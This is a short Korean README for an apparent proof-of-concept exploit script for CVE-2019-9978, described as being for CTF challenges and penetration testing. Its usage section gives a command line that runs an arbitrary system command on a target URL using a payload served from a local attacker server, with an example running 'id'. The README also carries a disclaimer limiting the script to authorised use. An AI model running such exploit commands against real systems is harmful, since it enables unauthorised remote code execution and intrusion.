cve-2019-9978

이 스크립트는 CVE-2019-9978 취약점을 간단한 방식으로 익스플로잇할 수 있도록 설계되었으며, CTF(Capture The Flag) 챌린지나 침투 테스트의 개념 증명(Proof of Concept) 용도로 사용됩니다.

사전 요구사항

• Python 3
• Requests 라이브러리 (pip install requests로 설치)

사용법

1. 이 저장소를 클론하거나 다운로드하세요.
2. 터미널을 열고 스크립트 디렉토리로 이동하세요.
3. 다음 옵션으로 스크립트를 실행하세요:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. 스크립트는 HTTP 서버를 시작하고, 페이로드를 대상에 전송하며, 결과를 터미널에 표시합니다.

예시

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

고지 사항

이 코드는 교육 및 테스트 목적으로만 제공됩니다. 적절한 권한 없이 시스템에 무단 사용하는 것은 불법이며 비윤리적입니다. 책임감 있게 사용하십시오.